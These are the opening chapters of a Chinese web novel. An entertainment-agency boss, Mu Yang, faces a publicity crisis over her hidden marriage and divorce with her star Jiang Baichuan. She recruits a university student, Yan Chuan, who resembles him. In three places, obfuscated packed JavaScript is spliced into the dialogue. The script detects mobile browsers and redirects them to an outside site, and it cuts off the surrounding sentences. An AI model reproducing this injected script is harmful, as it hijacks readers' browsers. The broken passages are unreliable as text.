《小川》 1. 【一】 天降暴雨。 闷雷声中,牧阳走进咖啡馆。她的额发肩头被雨淋湿,脸上妆容却依然精致服帖。 “抱歉牧姐,我已经下单了附近跑腿的伞,还有十二分钟就到了。”助理匆匆推门进来,棒球帽和肩头明显湿了一个色。 咖啡店的店员急忙递上毛巾,牧阳拿过看了一眼,直接罩在小助理的脑袋上:“擦擦。” 她看了一眼店门口的公共伞架,助理立刻很有眼色地抓起一把:“我去把车开过来。” “等一等,”牧阳看了看外面的天色,“雨势太大。” 助理摇摇头:“我回去直接洗澡就好了,姐你还要忙,早点回去比较方便。” 牧阳见她面色如常,不像着凉的样子,从口袋里摸出车钥匙抛给她。 “一杯摩卡,谢谢。” “是我,”牧阳等在吧台边,闻言笑了笑,“这不怪你,真的。” “现在的这帮男孩真是不成气候,一个像样子的都没有!”电话那头的女声焦急又抱怨,“我都嫌他们丢脸,唉。” “是我太挑剔了,”牧阳倒是心情很好,“让冯姐为难了。抱歉。” “你和我客气什么呀!咱们都多少年交情了,”电话那头冯的语气也松快起来,“现在的小孩真是鬼精鬼精的,原来之前都是和我装矜持!今天听说你是沐阳娱乐的老板,他们装都不装了!只会谄媚跪舔,还搞得那么低级,唉……其实我这边也没来得及把条件合适的男孩都面完,就叫来了本地的。要是你这边愿意等等的话——” “我理解你,真的挺难的,”牧阳耸耸肩,“毕竟能有六分长得像小川,就足够他们没有眼色地活到现在。” “……是。”冯跟着叹了口气,不由感慨,“老天到底不公平是不是?江百川真是又帅又有才,当年我们谁也想不到你们会分手。” 牧阳没说话。 “……我不说了,我这贱嘴,就不该提他。” “他确实条件过硬,”牧阳接过咖啡,“谢谢。而且很有才华。不过,”她往旁边瞥了一眼,“他的性格已经害了他。” 牧阳,沐阳娱乐的老板。 最近,一个大V扒出她和公司旗下流量艺人江百川隐婚,甚至放出照片,展示他俩穿戴严实在民政局附近露面。这张照片倒是没什么火花,网友不能接受的是她和江百川的接吻照——背景还是东海大学的校图书馆。 工作室第一时间就发布了澄清说明,可惜粉丝们并不买账。“江米团”们坚持图书馆接吻照的背影就是江百川。 江百川的粉丝主体是女友粉,而且他在开心卫视和荞麦视频同步播出的新综艺已经签约了,此时出现艺人失德事故,自然需要艺人经纪承担损失。 事实上,民政局那张照片其实是真的,而且是两人的离婚照。这些照片她当时还专门找狗仔做了买断,没想到居民楼里竟然有漏网之鱼。不过,这张照片本来也不是正脸,很难说明情况。 牧阳微哂。她和江百川在大学时就是情侣,毕业即领证,两人当年谈得相当低调,只有少数同学知道。他俩根本没有在学校里接过吻,这张照片是好事同学磕他俩P的。当年所有人都当笑话,如今网友倒是都很当真。 很可惜,婚后两人一直异地,忙得不可开交。沐阳娱乐起步之后,牧阳提出协议离婚,当时的江百川事业如日中天,同意得十分爽快。他带走属于自己的原始股份,取得原始资本积累。 也不知道他后来赔得怎么样了。至少她听说过的那几个,都是大坑。 牧阳只是走神了一小会,电话甚至没有挂断。 咖啡馆门口的风铃又响起来。 进来的是一个帅哥,他将伞挂在门口,随手将书放在吧台上,扫码点单。 牧阳几乎是立刻注意到了他,属于圈内人的敏锐直觉告诉她,对方不仅仅是相貌过分英俊那么简单,他的气质甚至能带给她熟悉感,就好像两个人曾经在哪里见过。这通常能说明他的颜不光是高于众人,更是圈内买账的类型——绝对有和他同款赛道的男明星。 小帅哥还很年轻,脸上不施粉黛,随意的穿搭就能惊艳众人。他的气质虽然亲和,却目不斜视,和周围的环境保持着相当的距离。有点高冷,也是帅哥的常态。 点单时,他似乎用余光打量了她一下,就好像正常人排队时也会往点单台附近看那样。这一眼就好像普通地略过一个路人,本不会引人注意,但她的直觉告诉她,他在看她。 “那我先看你发给我的资料,或许有谁能接小川的班。”牧阳挂断电话。 帅哥在听到“小川”这个名字时明显侧了侧头。 牧阳看着他点了一块提拉米苏,帅哥等提拉米苏的时候已经把吧台上的书收起来,夹在胳膊底下。蛋糕很快被装进碟子端出,他接过餐碟,往咖啡馆里走。 背影。 牧阳目送不过十秒就端起自己的咖啡,毫不犹豫地跟上去,直接在他对面坐下。 帅哥转身放下蛋糕,看到她惊异地挑挑眉毛,夹在腋下的书没有拿出来,似乎在等她的说辞。 “同学,你好,”牧阳好久没有和这么年轻的孩子接触,她甚至都有点不知道怎么说了,“我们能认识一下吗?” “嗯?”帅哥轻哼出疑问的音节,连声音都是好听的。 ……已后悔,好蹩脚的开场白。 牧阳恨不得打自己的嘴,不过只有一秒磕巴,她就开始自我介绍:“我是沐阳娱乐的负责人牧阳,我们公司主要负责演出经纪、艺人经纪、广播电视节目制作经营等项目,旗下代表艺人包括唐晞、鞠纸吟、LUMEN……还有江百川。” “目前我们在为我们的新剧招募男一号,因为是个小成本网剧,我们希望多挖掘一些新人来试水。当然你不用担心我们后续的运作能力……”她简单复述了回校面试男孩们的说辞,将自己的名片递到他面前,“可以知道你的名字吗?” 帅哥接过名片只是看了一眼,就轻轻放在蛋糕旁边,似乎对她所说的一切都不为所动。 大概是没戏了吧。 牧阳想,回家要准备新的公关方案了。 “晏川。”帅哥忽然说。 “言笑晏晏,海晏河清的晏。”他话锋一转,像是想到了什么极为有趣的事情,“你叫我小川吧。” “嗯?”这下是牧阳没反应过来。 “叫我小川。” “晏同学可以先——” “小川。” 他盯着她看的眼神,温柔缱绻像一滩春水。 看狗都深情,白捡大便宜。 “小川,”她笑了一下,“方便的话,先加个联系方式吧。” 晏川立刻把自己的二维码展示给她。 牧阳好久没扫过别人了,看到他的线条小狗头像还愣了一下。 晏川很快通过她的申请,真的笑出声了:“陌上花开?” 他指了指她的头像:“你的头像是向日葵哎。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992392|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是荷花你就满意了。”牧阳接梗。 “你知道啊,”晏川收敛了些,修长的手指轻点屏幕,“备注发你了。” 牧阳当然没有在写备注。她直接把眼前的这位“一杯朱古力”推给冯承兴,让对方赶紧去收集他的资料。 她切回消息列表,发现他给她发了动画表情。 [一杯朱古力]:晏川 [一杯朱古力]:[跳舞] ……是随着音乐起舞的线条小狗。 牧阳复制了他的名字,给他加好备注:晏川。 “总之我说的选角一事,你可以再考虑看看。”她喝了一口摩卡,随手划去助理发来的讯息。 “抱歉,如果只说演戏的事情,我不会考虑。”晏川回复得非常干脆,“不过,如果牧小姐找的是对象的话,”他稍微凑近了一点,“我很有决心和态度。” 牧阳挑眉:“想进步?” “牧小姐无论是颜值还是身材都是我喜欢的类型,我对你一见钟情,”晏川将蛋糕推到她面前,将叉子递到她手边,“谁不同意,谁就是眼瞎。” 牧阳:…… 她刚说点什么,晏川已经压低声音:“我知道你在找什么。” “江百川的替身,对不对?” 他问。 “我都在媒体上看到了,”晏川说,“而且刚才你自我介绍的时候也说了,信息都对的上。” “媒体捕风捉影,你信这些。”牧阳随手把玩着叉子。 “反正,就算我不同意,你的助理也会拍下我和你聊天的视频,还有你在黑匣子剧场面试其他男生,证明你是来选角的。”晏川轻轻笑了笑,抬起的眉眼正对上咖啡馆角落里举着相机的助理。 刚才助理发来的消息,就是咖啡馆的摄影同意许可。 牧阳笑而不语,晏川却不满意。 他撑着脑袋,一半的手掌藏在袖子里。这小子像是天生就知道怎么消解自己身上的这些攻击性。 “江百川的平替很难找,要是和他解约,公司还得吃大亏,对不对?” 牧阳肩膀放松,随手将蛋糕推了回去:“看错你了。” “小川同学不仅长得很帅,没想到还很有编剧头脑。”她笑了笑,“喜欢甜食就多吃点。” 晏川盯着她看,温柔深情的眼睛盛满无辜和委屈:“到底是故事还是事实,牧小姐心里清楚。” 他将自己的手机递过来,聊天记录最上面的备注正是“冯承兴老师(话剧社)”。 牧阳一目十行地看过聊天记录中冯承兴交代的选角信息,最后落在她对他的称呼上:“宣传部长?” “嗯,我在校学生会担任媒体宣传部的部长,”晏川掏出学生证,“选角招募信息就是我发的。” 经济与管理学院,开头数字比她大整十的学号。牧阳算了一下年份:“你今年大三。” 晏川点点头。 “正是忙的时候,”牧阳记得自己越是临近毕业越忙得不可开交,“还有闲心余力去查这么多信息。” 晏川正要为自己辩解什么,牧阳却撑着头,看向窗外的雨幕:“你太年轻了。野心和欲望都写在脸上,包括故意不参加选角,专门在这家咖啡厅赌我来也是。” 学校后门只有它开了十六年,装潢位置几乎都没变。一位老学姐要是来过这里,绝对会有印象。 晏川不再说话。 “要知道,”她轻声叹,“我最不喜欢和自作聪明的人合作了。” 2. 【二】 话音刚落,晏川果然怔住,压住名片的手下意识地紧攥,露出青筋。牧阳看着玻璃窗上他的侧影,像一道清瘦的烟灰融入青黛色的雨幕。 果然还是年轻。场面见得太少,脸皮也不够厚,露了马脚容易慌乱,可能对自己的表现过分在意,而且就这小孩细节控的程度,说不定还有点完美主义…… “不过嘛……” 看着窗户上震动的轮廓,牧阳轻笑了一声,终于舍得转头:“如果你愿意主动亲我一下的话,我也不是不可以再考虑……” 话音未落,一个慌不择路的吻越过可可粉山,奶沫湖和她还未放下的手,轻飘飘地落在她的脸颊上。 始作俑者早已移开视线,即使他捂住了嘴,脸颊上的粉红还是清晰可见。 好看的脸就是赏心悦目。 这个念头只在她脑中停了一秒,专业就占了上风:“手放下。不要把手挡在你的鼻翼下面。” 晏川立刻放下手,又茫然地问她:“那应该放在哪里?” “别放。”牧阳看他的手无处安放,皱了皱眉,“挡住嘴唇就够了。” 晏川立刻手握成拳,挡在嘴边。 她叹了口气:“怎么回事?和我身体接触很紧张?” “……我又没有和人身体接触过。” “看不出,”牧阳不得不重新审视他,“还挺纯情?” “我又没谈过,”晏川小声辩解,“……贞洁才是一个男人最好的嫁妆。” “噗。”牧阳失笑,“你还挺会给自己找加分项,继续保持。” 眼前的大男孩,要是他也是一只小狗的话,现在就要把尾巴摇起来了。 “好了小鬼,”她没忍住,摸了摸他的头发,嗯,是软的,“接下来你去哪里?” “不知道……下午有课。”晏川低下头。 尾巴耷拉下来了。 “可以叫我小川吗?”他抬头望着她,“我不是小鬼。” 确实不是小鬼。 是泄了气的可怜小狗,失魂落魄只因不能和主人回家。 “好啦,这两天就联系你。”牧阳收回手,有点怜爱地眯起眼,“我保证很快。” 她在他脸颊亲了一下,看着那片薄粉染上更深的绯红。 牧阳一上车就打开小冰箱,找里面的冰水。 “姐,意卷江湖他们又发新物料了,云绘雨不用替身演武打戏,片场照。”助理补充,“数据很好,前排大粉话术一致,都是‘云宝独美’‘云宝真正大女主,不和任何人绑定’这类切割型的。” 牧阳冷笑一下。 她在看冯承兴发来的有关晏川的资料。 身高比江百川高,身体线条比江百川更好看,本人甚至都比江百川上照。户籍就在本地,相关的恋爱史已经在查了,学籍后台证明学校里确实有这么个人,本人年纪比同龄人还小,小学转学过一次,转学后跳级。 照片和本人,资料和他自述的个人信息都对的上。 身高有优势是再好不过的,当年的老同学本来就把江百川P高了。他们都以为她不穿高跟鞋是深情,其实只是她根本不爱穿高跟鞋而已。 “云绘雨就是想趁现在收割洗粉,把百川哥、江百川的人气用完就丢,”助理还在愤愤不平,“之前上综艺和牛皮糖一样,结果还真被她团队粘出一个‘百川云雨’,炒得那是如火如荼。” “也是我们团队公关能力不够,”牧阳看得很开,“现在和当初不同了。” “那是,牧姐就是强。” “专心开车。”牧阳叮嘱她。 助理姬慧毕业没两年,比晏川大不了多少,在牧阳眼里还是个小姑娘。她对这行接触还没有那么深。 其实在牧阳自己看来,她没有外界所说的那么强。那时她离开核桃卫视创立沐阳娱乐,占尽天时地利人和。和江百川一路走来,很多运气,很多挑战,也走了弯路,纵使大亏不吃,一路也是小亏不断。她开始像任何一个步入中年、小有成功的创业家一样开始求稳,想发展更多业务,不把鸡蛋放在同一个篮子里;江百川则和任何一个开始步入中年,试图谋求转型的男明星一样焦虑,话里话外疑神疑鬼,尤其是他上一部电影还扑了,精神状态更是急转直下。 也是下定决心离婚之后,他心情才好一点。 牧阳面无表情想着,比起他和云绘雨之间有什么,倒不如说他可能和“意卷江湖”有什么。意卷江湖旗下目前只有云绘雨这棵摇钱树,背靠的投资方甚至能为她量身定制上星的大女主剧。江百川要是能够搭上她这边的资源,自然不需要再在沐阳娱乐竞争——沐阳娱乐捧出的可不止江百川一个,同为偶像系出身的艺人还有比他年轻的唐晞,养成系有LUMEN五人组,都是阳光帅气充满荷尔蒙的男孩。 圈内有句话说得很难听,“捧女拼资源,捧男找牧姐。”从江百川身上得到的经验,她复盘反馈,每一次都做得更好。说难听点,江百川就是她过河的石头。 他大概就是这么想的,好像这多年的情分,在他眼里就是这样不堪。 [陌上花开]:公关方案已有,专心录制 [东流]:你什么时候来海市,我想和你谈谈 [陌上花开]:有事先找小李,我忙完这一阵就来探班 [东流]:明天4321,真的不一起吃顿饭吗 她在消息框里输入“别幼稚了”,最后还是叹息着删除。 [陌上花开]:我没空,下个月吧 “我先睡会,到了你叫我。”她闭上眼睛。 “好的牧姐。” 睡醒的时候雨停了。 牧阳看到弹窗显示的最新消息,已是二十分钟前。 她瞳孔紧缩。 [东流]:我想了很久,还是决定退圈 [东流]:以后我就去演话剧,我们公开好不好 [东流]:这些钱也够我们养老了 [东流]:我还是不能接受你编假消息 [东流]:别逢场作戏了,我看不了你和别人暧昧 牧阳揉揉太阳穴,问前面倒车入库的姬慧:“我在东海选角的消息散出去了?” “是的,一部分是学生自发上传的,一部分是我们买的推流,”姬慧转过头来,“头部还没下场,我们是叫他们等通知还是?” “先等通知看看风评,”牧阳放下手,“我先上楼了,你回去早点休息。” “放心姐。” 团队很好,唯一令人没法放心的家伙刚才就在给她发消息。 牧阳一出电梯就开始给他打电话:“江百川。” 对面接得很快:“你现在都直接喊我全名了。” “江先生,”牧阳按住指纹锁开门,“我希望您能冷静一点,这不是您一个人的决定,也关系着您的团队,还有我们整个公司上上下下为您服务的员工们的生死。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992393|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 光你一个人就足够决定我的生死了,”江百川在笑,“残忍的神。我多久没有听到你喊我‘小川’了?” “不合适。”牧阳一脚踢开门口的快递,夹着手机洗手,“我们已经离婚了。而且我明确说过,‘分手’。” “是啊,残忍的神最终还是抛下了我,”江百川叹息,“我想了很久,是不是我们的婚姻束缚了你。现在看来,比婚姻更深的束缚就在我的身上。我比我想象中爱你更深,牧阳,你感受不到我的痛苦么?” “……如果你真的想演话剧,等这一季综艺录完,我会联系合适的剧团送你进去,保证你适度的曝光,刚好也可以再给你物色一些其他类型的电影资源。”牧阳对着镜子卸妆,手机按着免提键放在洗手台边。 “残忍的神,你现在想的还是你的流量,你的钱,你造出来的星。”江百川否定道,“你已经完全不记得了,大学的时候,你说我们将一起打拼,闯下名堂,相互扶持,像两株顶天立地的大树,屹立风雨中也岿然不动。” “我不是这么说的,”牧阳面无表情地卸妆,“我说的是,像两株顶天立地的大树,在风雨中也能搭个伴,就算天塌了也能把天顶着。” “这有什么不同!牧阳,你已经忘了你的爱了,你只记得你的钱!” “我从来没有忘记,”牧阳看着镜子里的自己,“我要成为顶天立地的大树。” “如果你觉得长这么大就够了,不想接着长了,没有人可以阻拦你。”牧阳拿起手机,“很晚了,你是不是又失眠。吃颗褪黑素就睡觉,褪黑素在你的行李箱夹层里,或者你问小李给你放哪了。” “你不能这么对我,”江百川在电话那头信誓旦旦地说,“你会后悔的,我保证你会后悔的。” “我早就后悔了。”牧阳脱口而出,说完又平静下来,“我太困了,心情不好。抱歉,先挂了。”她挂断电话,连续多日处理事务的疲惫累积到了极点。 牧阳沉沉睡去。 牧阳小时候是个乡下丫头。 天不亮她就跟着舅公舅婆一起去田里,舅公舅婆种田,她看天玩水搓泥巴;舅公舅婆做饭喂猪,她吃饭敲碗,演奏打击乐;舅公舅婆去城里,她坐自行车跟着去,不戴小草帽的胳膊晒得黝黑,在泉水下蜕了一层皮。 她是舅公舅婆病逝之后才被接回牧家的。于是她有了牧家的名字,在城里上学,结识家里积累的人脉,可是她还是觉得自己不属于这里。她不喜欢这个虚伪的环境,明明每个人都在演,每个人却都把这当成真的。 如果有什么是真实存在的就好了,比如真实存在的感情,真实的抚触,真实的皮毛,柔软、温热得要把人融化。她看着班里那群聊着国际形势,华夏历史和股市动向的女生,心想,她还是更喜欢浮夸一点的,更像梦幻泡泡一点的东西。 美妆,偶像,帅哥,宠物。 化妆简单,追星简单,帅哥手到擒来,只是宠物,牧家决不允许宠物进家门。 猫和狗都不行,更别提其他的宠物,那些都是“浪费粮食的精养畜生”“扰人心智的小东西”。 牧阳想,不去专门的猫舍狗舍接毛孩子,她还可以找被弃养的流浪猫狗。家里总要花那么多钱做慈善,把弃养的流浪毛孩子接回家,怎么不算慈善呢? 因此她宁愿自己走回家。遇到一只就好,不管它是受伤的,残疾的,她都要把它逮住,带它回家。 十五年前,牧阳捡到了他。 3. 【三】 “姐,姐!”电话那头是撕心裂肺的人声,“江百川和明煊娱乐官宣了!他说和我们解约,改签明煊!” “别着急,慢慢说,”牧阳睁开眼睛,“小慧来接我了吗?消息先发我邮箱,我等会上车就看。” “来了来了,我开到建设路了,还有十五分钟就能到。”另一个声音急忙接入,“姐你速来,我到地库等你,早餐买好了,袋子在车上。” “好的谢谢,我先挂了,马上下来。”牧阳挂断电话,深吸一口气。 四个小时前的消息。 [东流]:你甚至不愿意和我说晚安 [东流]:如果没有什么能打动你 [东流]:那就恨我吧 [东流]:那也是一种强烈的爱 牧阳上车随便啃了两口三明治,就放下袋子开始打电话。 打了三遍才打通。 “小李,昨天江百川喝酒了吗?”她问。 “没有,”李铭运回得战战兢兢,“至少到凌晨一点前没有。昨天我实在撑不住先睡了,睡醒听到他在哼歌,我一看才发现他在视频电话里和高总开香槟。” “你睡醒几点。” “四点吧……当时房间里他已经开了三四瓶了,很难判断是什么时候开始的……姐,我先!” 被挂断了。 八成是江百川挂断的。 牧阳随手把早餐袋放在一边,开始看这次“改签事件”的相关资料。 “江百川是什么时候和高明煊联系上的,”她问,“之前的几个通告都和明煊娱乐没有关系。” “应该是他私下参加的那几个局里有明煊娱乐的人,李铭运总不能时时刻刻都看着他。” “也对,小李够敬业了。”牧阳面无表情地看资料,“我倒宁愿是‘意卷江湖’。” “明煊娱乐太过分了!”连麦的公关激动极了,“他们为了管控自己旗下的艺人,甚至会让艺人去那个!” “那个?” “就是那个!”公关终于冷静点了,“哎,但是我也只是听说……” “去年抓进去的那个确实是明煊的,”牧阳倒是先想起来了,“而且他和江百川也算定位类似。” “……那差很多吧。”姬慧忍不住小声道,“我们百川、江百川可比他有演技多了。” “他本来就是江百川平替啊,如果不是江百川老想‘退休’的话,”牧阳淡淡道,“这些曝光我们早就应该抓在手里。” “姐,你当初没能劝他多接几个通告真是太可惜了。”公关道,“我们和他的合约其实本来今年六月就到期了是不是?本来也快自动解约了。” “王正芙,你真的很会哪壶不开提哪壶,”牧阳气笑了,“行了,现在他提前两个月解约,正好要付我们一大笔违约金——这个钱明煊那边准备怎么解释?” “这个明煊那边的PR说愿意按照之前合同约定的数字由他们赔付,江百川本人不出资,”公关王正芙飞快道,“不过他们说保留现在江百川的所有通告,他们会陆续接手,今天下午对接人就能到我们公司。” “江百川人呢,他来吗。”牧阳问完就知道答案了。 “没有回应,他不会出面,这也是明煊娱乐的意思。”王正芙说。 “那高总会不会直接过来和你谈?”姬慧小心猜测。 “让高明煊来和我谈,”牧阳说,“王正芙,麻烦你和刘法务沟通一下,还有谢律师,如果她有时间,也请她过来。” 牧阳看到新进来的电话:“我先挂了。” “喂,”她接起电话,放到耳边,“小川?” “早安牧小姐,”活泼的问候炸了一下耳朵,对方好像还在赶路,“你吃早饭了吗?” “吃了,”牧阳瞥了一眼被扔在一边有点久的早餐袋,“三明治。” “有点少了,在我看来,早餐还是得吃烧饼油条,包子鸡蛋比较好!所以今天我选了蛋炒河粉。” “……你这样说,我会很馋的,”牧阳笑了声,“河粉好吃吗?” “超级好吃啊!”晏川在电话那头笑,“我想想,怎么和你说呢?这食堂新出的河粉呀,就和最顶级的早茶店里卖的一样!这河粉不仅Q弹有嚼劲,还油光水滑不打结,吃起来一点也不腻,鸡蛋也很嫩,软软的融化在口腔里……” 她好像都听到身边姬慧吸口水的声音。 “好吧,我好像不小心忘记关免提了,”牧阳看了看手机,把免提关掉,再次凑近耳朵,“别提河粉了,如果我今天中午的午餐不幸变成河粉的话,一定是你的阴谋。” “阳谋。”晏川飞快道,“我希望你想我。” “……我可不能一直想你,我很——” “忙,我知道。”晏川说,“我也很忙。你知道一个大三学生能有多忙吗?他甚至除了本专业,还辅修了一个别的专业。我都不知道我大一的时候怎么想的。” “还挺能折腾。”牧阳随口问,“我记得你也是经管系的?你本专业学的什么。” “经济。”晏川顿了一下,“我是大二转过来的。大一我学的是物理学。” “……那你辅修了什么?” “心理。” “呵,”牧阳轻笑一声,“行了,今天就装到这里吧。你还有什么想说的吗?” “本来也没有很想装,我就是单纯想你而已。”晏川说,“你今天必须再回我一个,不然我就……我就再找其他好吃的祸害你。” “去上课吧。”牧阳敷衍小狗。 “有事就联系我,”晏川难得正经了一下,“不用太考虑我。我都能配合。” “知道了,会联系你。”牧阳说完准备挂电话。 “拜拜。”晏川打了个招呼。 “拜拜。”牧阳只好跟着说完,才挂断电话。 “是昨天咖啡店里那个小鲜肉吗?”姬慧问,“他好帅啊,正好我们改捧他吧,他比江百川还帅。” “说的在理,不过我打算过几天就把他晾下,”牧阳看了看消息记录里蹦来蹦去的线条小狗,“既然江百川脱离团队,接下来我们就力捧唐晞,争取多给他运作几个资源。” “好吧。”姬慧夸张地摇头,“以后我在电视上就见不到江百川的代餐了。” “不是还可以见到江百川吗?”牧阳觉得好笑。 “我才不给对手公司的人贡献收视率呢!”姬慧握紧拳头,“他们根本就是想借江百川搭上我们这头的资源!到时候百川哥肯定会被他们随手就丢的。” “嗯,刚好轮到你最喜欢的救风尘情节。”牧阳点评。 “……姐,你怎么这样啊,万一江百川在明煊娱乐越混越好了怎么办。”姬慧停好车,摘安全带。 “不会啊,就像你说的那样,”牧阳笑了,“他会‘退休’的。” 姬慧哑然。 牧阳看着车窗外不息的车流。无论明煊娱乐背地里做些什么勾当,他们的明牌总是包括“卸磨杀驴”的。江百川最好的结局,也不过风光几年,压榨完一切价值,再被公司雪藏而已。 【牛日姐的阴谋罢了[微笑][微笑]】 【沐阳娱乐欺负我百川哥,你们完了】 【感情是要我百川哥发挥余热捧新人啊,牧阳你这个毒妇,你完了】 【抵制沐阳娱乐】 【抵制牧阳!】 “现在的舆情趋势如何,把数据拉一下。”牧阳示意姬慧给PPT翻页,姬慧立刻抢了王正芙手边的遥控器,把超话广场的热门评论都翻篇了。 王正芙欲言又止,团队里很快有人报上数据:“热搜目前第17位,我联系了某浪那边的BD,她说明煊最近在和其他团队接触。” 牧阳挑眉:“他们打算买热,炒作前东家苛待艺人了?” “他们不可能明确说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16992394|193776||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的,热搜公布之前,我们没办法知道。” “哎,云绘雨的黑料还要放吗?”王正芙突然说。 “哦,那个,”牧阳眉眼一弯,“你说得对。我们给云绘雨买个热搜吧。” #自由属于追逐她的少年 #百川云雨新糖 “意卷他们就是拉皮条的吧,云绘雨怎么还转发明煊娱乐的公告,还用这种文案。”王正芙忍不住吐槽,“什么叫‘自由属于追逐她的少年’?还期待百川哥的新作品,笑死!高明煊那边连个能打的影视资源都没有。” “她老阴阳人了。”牧阳对竞争对手们都很熟悉,“左右都是她赚,热度不蹭白不蹭。” “我们甚至还送她一个。”姬慧小声喃喃。 “先休息一下吧,小慧给大家订个午餐。你们想吃什么?”牧阳站起来,“我去楼下买杯咖啡。” “走,一起去。”王正芙立刻跟过来。 “我想订蛋炒河粉。”姬慧低下头。 “看来他是真的把你说馋了,”牧阳拿起外套,想了想,“帮我也订一份,要带辣椒面的。” “哇,你不健康饮食了?!”王正芙惊讶极了,“我还以为这辈子你只吃饲料了呢!” “谁让我遇到蛊惑人心智的魔鬼,”牧阳笑着叹气,“拼尽全力无法战胜。” 王正芙抢着去按电梯:“好啊,哪里遇到的魔鬼,东海遇到的?几年没回校,后辈这么钓了。” “不好说,也可能是个体差异。”牧阳抬头看电梯间里的广告。 “也对,你简直是去打窝的,遇到一条肥的不奇怪。” 电梯门一开,王正芙抢先一步出去,往小鹿角的方向跑。 “哎,到底是谁钓谁?”牧阳反应过来。 “这我还看不出来?”王正芙回过头,“你们互相钓啊!” 牧阳轻咳一声,跟着她往小鹿角的方向走:“别胡说。” “拍照发给谁看呢?还叫我别胡说。”王正芙又凑过来。 牧阳一个肘击,把她打到一边去,也没说话,只顾着发消息。 姬慧不敢凑近,小声地和王正芙耳语:“王姐,咱姐不会真的上头了吧。” “这家伙门儿清着呢,你以为她在第五层,其实她在大气层。”王正芙也跟着小声说,“爹的,这炒河粉怎么这么咸,我味觉出问题了?” “……好像确实不太好吃。”姬慧也尝了一口。 牧阳倒是吃了一大口,然后就不动了。她发了好几条消息,然后直接离席:“我和小春约好了下午见个面,小慧你跟我一起去。” “好!”姬慧立刻收拾,“我去准备。” “哎,怎么又约小春,那个恋综要黄了?”王正芙举着筷子一脸懵,“你们再吃点啊?就这么走了?” “留给黄大哥吧,他肯定刚起床早饭还没吃。”姬慧麻利地打包两盒蒸饺,“先走了。” “哎——” “明煊就是会搞事情,这才不到十二个小时,他们的人就来插手‘为期一周的旅行’了。”姬慧一遇到堵车就开始喷竞对。 “小春的联系方式也不是什么秘密,高明煊的人能搞到手不奇怪。”牧阳倒是从容地拿着手机收发消息,“综艺没法如期录制,无论是再达成合作,还是就此黄掉,都不管他们的事。” “神经病!”姬慧骂了一句。 “也算正常的资源互换,那两位本来也是竞体圈的,明星运动会对嘉宾来说安全感更强一些。” “可是这本来不该……” “小春策划这个节目很久了,她不会轻易叫停的。”牧阳摸了摸手机壳,“我们要争取的也只有她而已。” “可是我们也不可能凭空变出两个嘉宾,让综艺如期录制呀!”姬慧愣了一下,“姐?!” “我和昨天认识的那个小鲜肉‘旅行官宣’,你觉得怎么样?”牧阳问。 4. 【四】 “什么?!” 显然,姬慧觉得自己听到了难以相信的东西,她不受控制地瞪大眼睛,忍不住要转头去看她的牧姐。 “专心开车。”牧阳拿起平板不停点着,显然在找之前的资料,“小春当初创办这个节目,就是艺人和素人混合的模式,第一季中也有一对cp,女方是个素人,本职工作是平面摄影师,也很出圈。” “可是你之前说是因为节目红利……而且当时女方可真被骂惨了!你以为‘想家人’都是吃素的,他们可是连哥哥一个金花瓶奖的视帝都要吹的人。” “金威斯——虽然这个奖很水,但是人家名字平时还是要叫对,免得关键时候出差错,得不偿失。”牧阳纠正助理的工作习惯,“不要把追星的那些用语带过来。” “哦。”姬慧干巴巴道。 牧阳这才继续说下去:“就以这个方向做切入点。上一季是摄影师,这一季是经纪人,下一季她可以延续这个想法,比如拟邀制片人、编剧、导演等加入进来,顺便进行一些职业破圈。小春可能会对这个方向感兴趣。” “可是,那是人家男方是……”姬慧一边转弯,一边没忍住询问,“小鲜肉能抗住吗?你俩的热度也就最近这一阵而已,要是续不上的话——” “我们本来就是做艺人经纪的,一旦确定方向,维持曝光并不难。”牧阳手撑着额头,“那对竞体圈的情侣本来也是针对破圈设计邀请的,本身并不是节目看点主要规划的方向,除非他俩能在节目上做出什么意料之外的‘壮举’,吸引观众乃至路人注意,否则……” 平板亮度骤升,原来是周围的光线突然变暗。姬慧娴熟地倒车入库:“从这里上,离听海最近。” “去二楼。”牧阳跟着姬慧一起下车,姬慧看到还停在地下一层的电梯,抢先一步按了上去。 两人猝不及防对上里面站着的人。 “好巧,”牧阳微微一笑,走进电梯,率先和里面的人打招呼,“六六,你也来这里?最近在忙什么?” 姬慧跟在牧阳身后进电梯。她没有再按楼层,因为该亮的已经亮了。 六六看到牧阳,也笑:“牧姐最近挺忙的,今天怎么想到来这里。”他顿了一下,忽然笑容扯大一圈,“你该不会也是来见小春的吧!” 牧阳听他的意思,两人互相对视几秒,牧阳眨眨眼:“高明煊要把江百川分给你带?恭喜啊。” 